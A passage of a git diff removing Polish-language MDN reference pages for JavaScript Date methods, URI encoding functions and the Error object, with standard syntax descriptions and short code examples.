Metoda toLocaleDateString polega na znalezieniu formatu daty w systemie operacyjnym. Konwertuje datę do łańcucha znakowego używając konwencji formatowania systemu operacyjnego, gdzie skrypt jest uruchomiony. Na przykład, w USA, miesiąc pojawia się przed dniem (04/15/98), gdzie w Niemczech data wyświetla miesiąc po dniu (15.04.98). Jeśli system operacyjny nie używa, nie spełnia roku 2000 i nie używa pełnego roku dla lat przed 1900 lub po 2000, toLocaleDateString zwraca łańcuch znakowy, który nie jest uległy wobec roku 2000. toLocaleDateString postępuje podobnie do toString, kiedy konwertuje rok, który system operacyjny ma w niewłaściwym formacie.

- -

Metody takie jak getHours, getMinutes i getSeconds dają więcej przenośnych rezultatów niż toLocaleDateString.

- -

Składnia

- -
dateObj.toLocaleDateString([locales [, options]])
- -

Parametry

- -

Check the {{anch("Browser compatibility")}} section to see which browsers support the locales and options arguments, and the Example: Checking for support for locales and options arguments for feature detection.

- -
{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat', 'Parameters')}}
- -

The default value for each date-time component property is {{jsxref("Global_Objects/undefined", "undefined")}}, but if the weekday, year, month, day properties are all {{jsxref("Global_Objects/undefined", "undefined")}}, then year, month, and day are assumed to be "numeric".

- -

Przykłady

- -

Przykład: Zastosowanie toLocaleDateString()

- -

Następujący przykład today jest obiektem Date:

- -
var today = new Date(95,11,18,17,28,35) //miesiąc jest reprezentowany przez liczby od 0 do 11
-today.toLocaleDateString()
-
- -

W tym przykładzie, toLocaleDateString zwraca łańcuch znakowy, który jest podobny do poniższej formy. Dokładny format, jaki znajduje się na platformie.

- -
12/18/95
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/tolocalestring/index.html b/files/pl/web/javascript/referencje/obiekty/date/tolocalestring/index.html deleted file mode 100644 index 60cb1c2853..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/tolocalestring/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Date.prototype.toLocaleString() -slug: Web/JavaScript/Referencje/Obiekty/Date/toLocaleString -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleString ---- -

{{JSRef}}

- -

Podsumowanie

- -

Konwertuje datę na łańcuch znakowy, używając aktualnej lokalnej konwersji.

- -

Metoda toLocaleString polega na znalezieniu formatu daty w systemie operacyjnym. Konwertuje datę do łańcucha znakowego używając konwencji formatowania systemu operacyjnego, gdzie skrypt jest uruchomiony. Na przykład, w USA, miesiąc pojawia się przed dniem (04/15/98), gdzie w Niemczech data wyświetla miesiąc, zaraz po dniu (15.04.98). Jeśli system operacyjny nie używa, nie spełnia roku 2000 i nie używa pełnego roku dla lat przed 1900 lub po 2000, toLocaleString zwraca łańcuch znakowy, który nie jest uległy wobec roku 2000. toLocaleString postępuje podobnie do toString, kiedy konwertuje rok, który system operacyjny ma w niewłaściwym formacie.

- -

Metody, takie jak getHours, getMinutes i getSeconds dają więcej przenośnych rezultatów niż toLocaleString

- -

Składnia

- -
dateObj.toLocaleString([locales[, options]])
- -

Parametry

- -

Check the Browser compatibility section to see which browsers support the locales and options arguments, and the Example: Checking for support for locales and options arguments for feature detection.

- -
{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat', 'Parameters')}}
- -

The default value for each date-time component property is {{jsxref("Global_Objects/undefined", "undefined")}}, but if the weekday, year, month, day, hour, minute, second properties are all {{jsxref("Global_Objects/undefined", "undefined")}}, then year, month, day, hour, minute, and second are assumed to be "numeric".

- -

Przykłady

- -

Zastosowanie toLocaleString()

- -

W następującym przykładzie, obiekt today jest Date:

- -
var today = new Date(95,11,18,17,28,35); //miesiące są reprezentowane poprzez liczby od 0 do 11
-today.toLocaleString(); // 12/18/95 17:28:35
- -

W tym przykładzie, toLocaleString zwraca łańcuch znaków, który jest podobny do następującej formy. Dokładnie to taki format, jaki jest w systemie.

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/tolocaletimestring/index.html b/files/pl/web/javascript/referencje/obiekty/date/tolocaletimestring/index.html deleted file mode 100644 index e41dce512d..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/tolocaletimestring/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Date.prototype.toLocaleTimeString() -slug: Web/JavaScript/Referencje/Obiekty/Date/toLocaleTimeString -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca "czas", porcje daty jako łańcuch znaków, używając aktualnych lokalnych konwersji.

- -

Metoda toLocaleTimeString polega na znalezieniu formatu daty w systemie operacyjnym. Konwertuje datę do łańcucha znakowego używając konwencji formatowania systemu operacyjnego, gdzie skrypt jest uruchomiony. Na przykład, w USA, miesiąc pojawia się przed dniem (04/15/98), gdzie w Niemczech data wyświetla miesiąc po dniu (15.04.98). Jeśli system operacyjny nie używa, nie spełnia roku 2000 i nie używa pełnego roku dla lat przed 1900 lub po 2000, toLocaleTimeString zwraca łańcuch znakowy, który nie jest uległy wobec roku 2000. toLocaleTimeString postępuje podobnie do toString, kiedy konwertuje rok, który system operacyjny ma w nie właściwym formacie.

- -

Metody takie jak getHours, getMinutes i getSeconds dają więcej podobnych rezultatów niż toLocaleTimeString.

- -

Składnia

- -
dateObj.toLocaleTimeString([locales[, options]])
- -

Parametry

- -

Check the Browser compatibility section to see which browsers support the locales and options arguments, and the Example: Checking for support for locales and options arguments for feature detection.

- -
{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat', 'Parameters')}}
- -

The default value for each date-time component property is {{jsxref("Global_Objects/undefined", "undefined")}}, but if the hour, minute, second properties are all {{jsxref("Global_Objects/undefined", "undefined")}}, then hour, minute, and second are assumed to be "numeric".

- -

Przykłady

- -

Zastosowanie toLocaleTimeString()

- -

W następującym przykładzie, today jest obiektem Date object:

- -
var today = new Date(95,11,18,17,28,35); //miesiące są reprezentowane przez liczby od 0 do 11
-today.toLocaleTimeString(); // 17:28:35
- -

W tym przykładzie, toLocaleTimeString zwraca wartość łańcucha znakowego, która jest podobna do następującej formy. Dokładny format, jaki znajduje się na platformie.

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/tosource/index.html b/files/pl/web/javascript/referencje/obiekty/date/tosource/index.html deleted file mode 100644 index 8c82e39b09..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/tosource/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Date.prototype.toSource() -slug: Web/JavaScript/Referencje/Obiekty/Date/toSource -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/toSource ---- -
{{JSRef}} {{non-standard_header}}
- -

Podsumowanie

- -

Zwraca łańcuch znaków reprezentujący kod źródłowy obiektu.

- -

Składnia

- -
dateObj.toSource()
-Date.toSource()
- -

Parametry

- -

Brak.

- -

Opis

- -

Metoda toSource() zwraca następującą wartość:

- - - -
function Date() {
-   [native code]
-}
-
- - - -

Ta metoda jest często nazywana wewnętrzną metodą JavaScript i jest nie wyraźna w kodzie.

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/date/tostring/index.html deleted file mode 100644 index 7d2ea5d92c..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/tostring/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Date.prototype.toString() -slug: Web/JavaScript/Referencje/Obiekty/Date/toString -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/toString ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca łańcuch znaków, reprezentujący określony obiekt Date.

- -

Składnia

- -
dateObj.toString()
- -

Parametry

- -

Brak.

- -

Opis

- -

Obiekt {{jsxref("Date")}} przesłania metodę toString z obiektu {{jsxref("Object")}}; nie dziedziczy {{jsxref("Object.prototype.toString()")}}. Dla obiektów {{jsxref("Date")}}, metoda toString() zwraca łańcuch znaków, które reprezentują obiekt.

- -

JavaScript wywołuje metodę toString() automatycznie wtedy, gdy data jest reprezentowana jako wartość tekstowa lub kieruje powiązanym łańcuchem znaków.

- -

Przykłady

- -

Przykład: Zastosowanie toString()

- -

Następujący przykład przydziela toString wartość obiektu Date do myVar:

- -
var x = new Date();
-myVar=x.toString();   //przydziela wartość myVar, podobnie do:
-// Mon Sep 28 14:36:22 GMT-0700 (Pacific Daylight Time) 1998
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/toutcstring/index.html b/files/pl/web/javascript/referencje/obiekty/date/toutcstring/index.html deleted file mode 100644 index 529b9bf434..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/toutcstring/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Date.prototype.toUTCString() -slug: Web/JavaScript/Referencje/Obiekty/Date/toUTCString -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/toUTCString ---- -

{{JSRef}}

- -

Podsumowanie

- -

Konwertuje datę na łańcuch znaków, używając do konwersji czasu uniwersalnego.

- -

Składnia

- -
dateObj.toUTCString()
- -

Parametry

- -

Brak.

- -

Opis

- -

Wartość zwracana przez toUTCString() jest sformatowanym i tylko do odczytu łańcuchem znaków, stosowanym do konwersji UTC. Wartość zwracanego formatu może być określona stosownie do platformy.

- -

Przykłady

- -

Przykład: Zastosowanie toUTCString()

- -
var today = new Date();
-var UTCstring = today.toUTCString();
-// Mon, 03 Jul 2006 21:44:38 GMT
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/utc/index.html b/files/pl/web/javascript/referencje/obiekty/date/utc/index.html deleted file mode 100644 index 0bc3a38e6c..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/utc/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Date.UTC() -slug: Web/JavaScript/Referencje/Obiekty/Date/UTC -tags: - - Date - - JavaScript - - Method -translation_of: Web/JavaScript/Reference/Global_Objects/Date/UTC ---- -
{{JSRef}}
- -

Podsumowanie

- -

Akceptuje te same parametry co najdłuższa forma konstruktora i zwraca liczbę milisekund w obiekcie {{jsxref("Date")}}, które upłynęły od 1 stycznia, 1970, 00:00:00, czasu uniwersalnego.

- -

Składnia

- -
Date.UTC(rok, miesiąc[, dzień[, godz[, min[, sek[, ms]]]]])
- -

Parametry

- -
-
rok 
-
Rok po 1900.
-
miesiąc 
-
Liczba całkowita pomiędzy 0 i 11 reprezentująca miesiąc.
-
dzień 
-
Liczba całkowita pomiędzy 1 i 31 reprezentująca dzień miesiąca.
-
godz 
-
Liczba całkowita pomiędzy 0 i 23 reprezentująca godziny.
-
min 
-
Liczba całkowita pomiędzy 0 i 59 reprezentująca minuty.
-
sek 
-
Liczba całkowita pomiędzy 0 i 59 reprezentująca sekundy.
-
ms 
-
Liczba całkowita pomiędzy 0 i 999 reprezentująca milisekundy.
-
- -

Opis

- -

UTC pobiera parametry daty oddzielone za pomocą przecinków i zwraca liczbę milisekund między 1 stycznia, 1970, 00:00:00, czasu uniwersalnego a określoną datą.

- -

Powinno używać się pełnego zapisu roku, na przykład 1998. Jeśli określony jest rok z przedziału pomiędzy 0 a 99, metoda konwertuje go do roku w 20 wieku (1900 + rok); na przykład, jeśli określiłeś go jako 95, zostanie użyty rok 1995.

- -

Metoda UTC różni się od konstruktora {{jsxref("Date")}} na dwa sposoby.

- - - -

Jeśli parametr określony jest poza spodziewanym zasięgiem, metoda UTC zaktualizuje pozostałe parametry. Na przykład, jeśli użyjesz liczby 15 do określenia miesiąca, wartość parametru rok zostanie powiększona o 1 (rok + 1), a 3 zostanie użyte w parametrze miesiąc.

- -

Ponieważ UTC jest statyczną metodą obiektu {{jsxref("Date")}}, zawsze powinno używać się jej jako Date.UTC(), niż jako metodę utworzonego obiektu {{jsxref("Date")}}.

- -

Przykłady

- -

Przykład: Zastosowanie Date.UTC()

- -

Następująca instrukcja tworzy obiekt Date używający GMT (czasu uniwersalnego) zamiast czasu lokalnego:

- -
var utcDate = new Date(Date.UTC(96, 11, 1, 0, 0, 0));
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/valueof/index.html b/files/pl/web/javascript/referencje/obiekty/date/valueof/index.html deleted file mode 100644 index 76d54c2187..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/valueof/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Date.prototype.valueOf() -slug: Web/JavaScript/Referencje/Obiekty/Date/valueOf -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/valueOf ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca prymitywną wartość obiektu Date.

- -

Składnia

- -
dateObj.valueOf()
- -

Parametry

- -

Brak.

- -

Opis

- -

Metoda valueOf zwraca wartość prymitywną obiektu {{jsxref("Date")}} jako typ danych liczbowych, czyli liczbę milisekund od północy 1 stycznia 1970 UTC.

- -

Ta metoda jest funkcyjnie równoważna do metody {{jsxref("Date.prototype.getTime()")}}.

- -

Ta metoda często jest nazywana wewnętrzną metodą JavaScriptu i nie jest wyraźna w kodzie.

- -

Przykłady

- -

Przykład: Zastosowanie valueOf()

- -
var x = new Date(56, 6, 17);
-var myVar = x.valueOf();      // przydziela -424713600000 do myVar
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/decodeuri/index.html b/files/pl/web/javascript/referencje/obiekty/decodeuri/index.html deleted file mode 100644 index f88686b8a3..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/decodeuri/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: decodeURI() -slug: Web/JavaScript/Referencje/Obiekty/decodeURI -tags: - - JavaScript -translation_of: Web/JavaScript/Reference/Global_Objects/decodeURI ---- -
{{jsSidebar("Objects")}}
- -

Podsumowanie

- -

Dekoduje Jednolity Identyfikator Zasobu (URI) utworzony wcześniej przez funkcję {{jsxref("encodeURI", "encodeURI()")}} lub podobną.

- -

Składnia

- -
decodeURI(encodedURI)
- -

Parametry

- -
-
encodedURI 
-
Kompletny, odkodowany Jednolity Identyfikator Zasobu.
-
- -

Opis

- -

Podmienia każdą sekwencję ucieczki (ang. - escape sequence - ) w zakodowanym URI znakiem, który reprezentuje.

- -

Nie dekoduje sekwencji, które nie mogłyby być wprowadzone przez {{jsxref("encodeURI", "encodeURI()")}}.

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/decodeuricomponent/index.html b/files/pl/web/javascript/referencje/obiekty/decodeuricomponent/index.html deleted file mode 100644 index a361e777d8..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/decodeuricomponent/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: decodeURIComponent() -slug: Web/JavaScript/Referencje/Obiekty/decodeURIComponent -tags: - - JavaScript -translation_of: Web/JavaScript/Reference/Global_Objects/decodeURIComponent ---- -
-
-
{{jsSidebar("Objects")}}
-
-
- -

Podsumowanie

- -

Dekoduje komponent Jednolitego Identyfikatora Zasobu (URI) stworzonego przez {{jsxref("encodeURIComponent", "encodeURIComponent()")}} lub podobną.

- -

Składnia

- -
decodeURIComponent(encodedURI)
- -

Parametry

- -
-
encodedURI 
-
Odkodowany komponent Jednolitego Identyfikatora Zasobu.
-
- -

Opis

- -

Podmienia każdą sekwencję ucieczki (ang. - escape sequence - ) w zakodowanym komponencie URI znakiem, który ona reprezentuje.

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/encodeuri/index.html b/files/pl/web/javascript/referencje/obiekty/encodeuri/index.html deleted file mode 100644 index b794a414b3..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/encodeuri/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: encodeURI() -slug: Web/JavaScript/Referencje/Obiekty/encodeURI -tags: - - JavaScript - - URI -translation_of: Web/JavaScript/Reference/Global_Objects/encodeURI ---- -
-
-
{{jsSidebar("Objects")}}
-
-
- -

Podsumowanie

- -

Koduje Jednolity Identyfikator Zasobu (URI) poprzez zamianę każdego z wystąpień pewnych znaków na jedną, dwie lub trzy sekwencje ucieczki (ang. - escape sequences - ) kodowania UTF-8 danego znaku.

- -

Syntax

- -
encodeURI(URI)
- -

Parametry

- -
-
URI 
-
Kompletny Jednolity Identyfikator Zasobu.
-
- -

Opis

- -

Zakłada się, iż URI jest kompletnym URI, więc nie koduje znaków zarezerwowanych, mających specjalne znaczenie w URI.

- -

encodeURI zamienia wszystkie znaki, poza podanymi poniżej, odpowiednimi sekwencjami ucieczki.

- - - - - - - - - - - - - - - - - - - - -
TypZawiera
Znaki zarezerwowane; , / ? : @ & = + $
Znaki nie podlegające ucieczceLitery, cyfry, - _ . ! ~ * ' ( )
- Score - #
- -

Zauważ, że encodeURI samo z siebie - - nie - potrafi utworzyć poprawnych żądań HTTP GET i POST, jak na przykład XMLHTTPRequest, ponieważ "&", "+", i "=" nie są kodowane, a są traktowane jako znaki specjalne w żądaniach GET i POST. Jednakże, {{jsxref("encodeURIComponent", "encodeURIComponent()")}}, koduje te znaki. Zachowania te są konsekwentnie wspomagane przez różne przeglądarki.

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/encodeuricomponent/index.html b/files/pl/web/javascript/referencje/obiekty/encodeuricomponent/index.html deleted file mode 100644 index 577cff9840..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/encodeuricomponent/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: encodeURIComponent() -slug: Web/JavaScript/Referencje/Obiekty/encodeURIComponent -tags: - - JavaScript - - URI -translation_of: Web/JavaScript/Reference/Global_Objects/encodeURIComponent ---- -
{{jsSidebar("Objects")}}
- -

Podsumowanie

- -

Koduje każdy komponent Jednolitego Identyfikatora Zasobu (URI) poprzez zamianę, każdego wystąpienia pewnych znaków jedną, dwoma lub trzema sekwencjami ucieczki reprezentujące kodowanie UTF-8 znaku.

- -

Składnia

- -
encodeURIComponent(str);
- -

Parametry

- -
-
str
-
Komponent Jednolitego Identyfikatora Zasobu.
-
- -

Opis

- -

encodeURIComponent() zamienia wszystkie znaki na sekwencje ucieczki poza znakami: alfabetycznymi, cyframi, - _ . ! ~ * ' ( )

- -

Ze względów bezpieczeństwa, powinieneś wywoływać encodeURIComponent na każdym parametrze podanym przez użytkownika, który będzie podany jako część URI. Na przykład, użytkownik mógł wpisać "Thyme &time=again" dla zmiennej comment. Nie użycie encodeURIComponent na tej zmiennej da comment=Thyme%20&time=again. Zauważ, że znak ampersand (&) i znak równości (= ) oznaczają nową parę kluczy i wartość. Więc, zamiast wysyłać klucz comment równy Thyme &time=again, dostaniesz dwa klucze POST, jeden równy "Thyme" , a drugi (time) równy again.

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/error/columnnumber/index.html b/files/pl/web/javascript/referencje/obiekty/error/columnnumber/index.html deleted file mode 100644 index dbf51b3bf3..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/error/columnnumber/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Error.prototype.columnNumber -slug: Web/JavaScript/Referencje/Obiekty/Error/columnNumber -translation_of: Web/JavaScript/Reference/Global_Objects/Error/columnNumber ---- -
{{JSRef}} {{non-standard_header}}
- -

The columnNumber property contains the column number in the line of the file that raised this error.

- -

Examples

- -

Using columnNumber

- -
var e = new Error('Could not parse input');
-throw e;
-console.log(e.columnNumber) // 0
-
- -

Specifications

- -

Not part of any specification. Non-standard.

- -

Browser compatibility

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

See also

- - diff --git a/files/pl/web/javascript/referencje/obiekty/error/filename/index.html b/files/pl/web/javascript/referencje/obiekty/error/filename/index.html deleted file mode 100644 index a0290eac45..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/error/filename/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Error.prototype.fileName -slug: Web/JavaScript/Referencje/Obiekty/Error/fileName -tags: - - JavaScript - - Prototyp - - Prototype - - Właściwość - - niestandardowe -translation_of: Web/JavaScript/Reference/Global_Objects/Error/fileName ---- -
{{JSRef}} {{non-standard_header}}
- -

Właściwość fileName zawiera ścieżkę do pliku, który spowodował błąd.

- -

Opis

- -

Ta nieopisana w żadnym standardzie właściwość zawiera ścieżkę do pliku, który spowodował błąd. Jeśli jest wywoływana z kontekstu debuggera, jak na przykład Firefox Developer Tools, zwracana jest wartość "debugger eval code".

- -

Przykłady

- -

Użycie fileName

- -
var e = new Error('Błąd przy parsowaniu wejścia');
-throw e;
-// wartość e.fileName powinna być czymś podobnym do "file:///C:/example.html"
-
- -

Specyfikacje

- -

Nie jest częścią żadnego standardu.

- -

Wsparcie przeglądarek

- -
-
- - -

{{Compat("javascript.builtins.Error.fileName")}}

-
-
- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/obiekty/error/index.html b/files/pl/web/javascript/referencje/obiekty/error/index.html deleted file mode 100644 index 408b1b797b..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/error/index.html +++ /dev/null @@ -1,246 +0,0 @@ ---- -title: Error -slug: Web/JavaScript/Referencje/Obiekty/Error -tags: - - Błąd - - CustomError - - Error - - JavaScript - - Obsługa błędów -translation_of: Web/JavaScript/Reference/Global_Objects/Error ---- -
{{JSRef}}
- -
Kontruktor klasy Error tworzy obiekt błędu. Instancja klasy Error jest rzucana w momencie napotkania błędu w trakcie wykonywania programu. Klasa Error może być także używana do tworzenia własnych wyjątków. Poniżej przestawione zostaną wbudowane standardowe typy błędów.
- -

Składnia

- -
new Error([message[, fileName[, lineNumber]]])
- -

Parametry

- -
-
message
-
Opcjonalny. Opis błędu zrozumiały dla użytkownika.
-
fileName {{non-standard_inline}}
-
Opcjonalny. Wartość dla parametru fileName przy tworzeniu obiektu Error. Domyślnie to nazwa pliku zawierającego kod, który wywołał konstruktor.
-
lineNumber {{non-standard_inline}}
-
Opcjonalny. Wartość dla paramteru lineNumber przy tworzeniu obiektu Error. Domyślnie zawiera numer linijki zawirającej wywołanie konstruktora klasy Error.
-
- -

Opis

- -

Błędy w trakcie wykonywania programu skutkują utworzeniem i rzuceniem nowego obiektu Error.

- -

This page documents the use of the Error object itself and its use as a constructor function. For a list of properties and methods inherited by Error instances, see {{jsxref("Error.prototype")}}.

- - - -

Używanie jako funkcja

- -

Gdy Error jest używany jako funkcja -- bez słowa kluczowego new, zwraca on obiekt Error. Możemy więc zauważyć, że zwykłe wywołanie Error zwróci nam to samo co stworznie nowego obiektu Error przy pomocy słowa kluczowego new.

- -
// to:
-const x = Error('Jestem stworzony przy pomocy wyowałania funkcji!');
-​​​​// działa tak samo jak to:
-const y = new Error('Jestem stworzony przy pomocy słowa kluczowego "new"!');
- - - -

Typy błędów

- -

Oprócz konstruktora generycznego Error, mamy jeszcze siedem innych podstawowych konstruktorów błędów w JavaScript. Dla wyjątów po stronie klienta zobacz Exception Handling Statements.

- -
-
{{jsxref("EvalError")}}
-
Tworzy instancje reprezentującą błąd dotyczący globalnej funkcji {{jsxref("Global_Objects/eval", "eval()")}}.
-
{{jsxref("InternalError")}} {{non-standard_inline}}
-
Tworzy instancje reprezentującą błąd, który występuje w momencie wyrzucenia wewnętrznego błędu silnika JavaScript np. "too much recursion".
-
{{jsxref("RangeError")}}
-
Tworzy instancje reprezentującą błąd, który występuje w momencie gdy zmienna numeryczna lub parametr wyjdzie poza zakres. 
-
{{jsxref("ReferenceError")}}
-
Tworzy instancje reprezentującą błąd, który występuje przy próbie odwołania do nieistniejącego zasobu.
-
{{jsxref("SyntaxError")}}
-
Tworzy instancje reprezentującą błąd składni, który występuje przy parsowaniu kodu przy pomocy {{jsxref("Global_Objects/eval", "eval()")}}.
-
{{jsxref("TypeError")}}
-
Tworzy instancję reprezentującą błąd, który występuje gdy zmienna lub parametr mają niepoprawny typ.
-
{{jsxref("URIError")}}
-
Tworzy instancję reprezentującą błąd, który występuje gdy {{jsxref("Global_Objects/encodeURI", "encodeURI()")}} i {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} mają przekazane nieprawidłowe parametry.
-
- -

Właściwości

- -
-
{{jsxref("Error.prototype")}}
-
Pozwala na dodawanie właściwości do instancji klasy Error.
-
- -

Metody

- -

Globalny obiekt Error sam w sobie nie zawiera metod, niemniej, dziedziczy on niektóre metody z łańcucha prototypów.

- -

Error instancje

- -
{{page('pl/docs/Web/JavaScript/Referencje/Obiekty/Error/prototype', 'Description')}}
- -

Właściwości

- -
{{page('pl/docs/Web/JavaScript/Referencje/Obiekty/Error/prototype', 'Properties')}}
- -

Metody

- -
{{page('pl/docs/Web/JavaScript/Referencje/Obiekty/Error/prototype', 'Methods')}}
- -

Przykłady

- -

Rzucanie ogólnego błędu

- -

Zazwyczaj tworzysz obiekt Error w celu wywołania go przy użyciu słowa kluczowego {{jsxref("Statements/throw", "throw")}}. Możesz obsłużyć tak rzucony błąd przy pomocy konstrukcji {{jsxref("Statements/try...catch", "try...catch")}}:

- -
try {
-  throw new Error('Whoops!');
-} catch (e) {
-  alert(e.name + ': ' + e.message);
-}
-
- -

Obsługa specyficznych błędów

- -

Jeżeli chcesz możesz obsługiwać tylko specyficzny rodzaj błędu poprzez użycie właściwości jego {{jsxref("Object.prototype.constructor", "constructor")}} lub, jeżeli używasz nowoczesnego silnika JavaScript, poprzez słowo kluczowe {{jsxref("Operators/instanceof", "instanceof")}}:

- -
try {
-  foo.bar();
-} catch (e) {
-  if (e instanceof EvalError) {
-    alert(e.name + ': ' + e.message);
-  } else if (e instanceof RangeError) {
-    alert(e.name + ': ' + e.message);
-  }
-  // ... etc
-}
-
- -

Niestandardowe typy błędów

- -

Możesz chcieć zdefiniować własny typ błędu pochodzący z klasy Error z możliwością rzucenia błędu throw new MyError() i użycia instanceof MyError w celu sprawdzenia jego rodzaju. Skutkuje to czystszym i spójniejszym kodem obsługi błędów. Zobacz "What's a good way to extend Error in JavaScript?" na StackOverflow dla dogłębniejszej analizy.

- -

ES6 Custom Error Class

- -
-

Babel i inne transpilatory nie potrafią poprawnie obsłużyć podanego kodu bez dodatkowej konfiguracji.

-
- -
-

Nie które przeglądarki dodają constructor CustomError w stosie błędu kiedy używamy klas ES2015

-
- -
class CustomError extends Error {
-  constructor(foo = 'bar', ...params) {
-    // Pass remaining arguments (including vendor specific ones) to parent constructor
-    super(...params);
-
-    // Maintains proper stack trace for where our error was thrown (only available on V8)
-    if (Error.captureStackTrace) {
-      Error.captureStackTrace(this, CustomError);
-    }
-
-    // Custom debugging information
-    this.foo = foo;
-    this.date = new Date();
-  }
-}
-
-try {
-  throw new CustomError('baz', 'bazMessage');
-} catch(e){
-  console.log(e.foo); //baz
-  console.log(e.message); //bazMessage
-  console.log(e.stack); //stacktrace
-}
- -

ES5 Custom Error Object

- -
-

Wszystkie przeględarki dodają konstruktor CustomError kiedy używasz konstruktora z wykorzystaniem prototype

-
- -
function CustomError(foo, message, fileName, lineNumber) {
-  var instance = new Error(message, fileName, lineNumber);
-  instance.foo = foo;
-  Object.setPrototypeOf(instance, Object.getPrototypeOf(this));
-  if (Error.captureStackTrace) {
-    Error.captureStackTrace(instance, CustomError);
-  }
-  return instance;
-}
-
-CustomError.prototype = Object.create(Error.prototype, {
-  constructor: {
-    value: Error,
-    enumerable: false,
-    writable: true,
-    configurable: true
-  }
-});
-
-if (Object.setPrototypeOf){
-  Object.setPrototypeOf(CustomError, Error);
-} else {
-  CustomError.__proto__ = Error;
-}
-
-
-try {
-  throw new CustomError('baz', 'bazMessage');
-} catch(e){
-  console.log(e.foo); //baz
-  console.log(e.message) ;//bazMessage
-}
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Początkowa definicja. Zaimplementowana w JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.11', 'Error')}}{{Spec2('ES5.1')}}
{{SpecName('ES2015', '#sec-error-objects', 'Error')}}{{Spec2('ES2015')}}
{{SpecName('ESDraft', '#sec-error-objects', 'Error')}}{{Spec2('ESDraft')}}
- -

Kompatybilność

- -
- - -

{{Compat("javascript.builtins.Error")}}

-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/error/linenumber/index.html b/files/pl/web/javascript/referencje/obiekty/error/linenumber/index.html deleted file mode 100644 index 20d725f492..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/error/linenumber/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Error.prototype.lineNumber -slug: Web/JavaScript/Referencje/Obiekty/Error/lineNumber -tags: - - JavaScript - - Prototyp - - Prototype - - Referencja - - Własność - - niestandardowe -translation_of: Web/JavaScript/Reference/Global_Objects/Error/lineNumber ---- -
{{JSRef}} {{non-standard_header}}
- -

Właściwość lineNumber zawiera numer linii w pliku, gdzie pojawił się błąd.

- -

Przykłady

- -

Użycie lineNumber

- -
var e = new Error('Błąd przy parsowaniu wejścia');
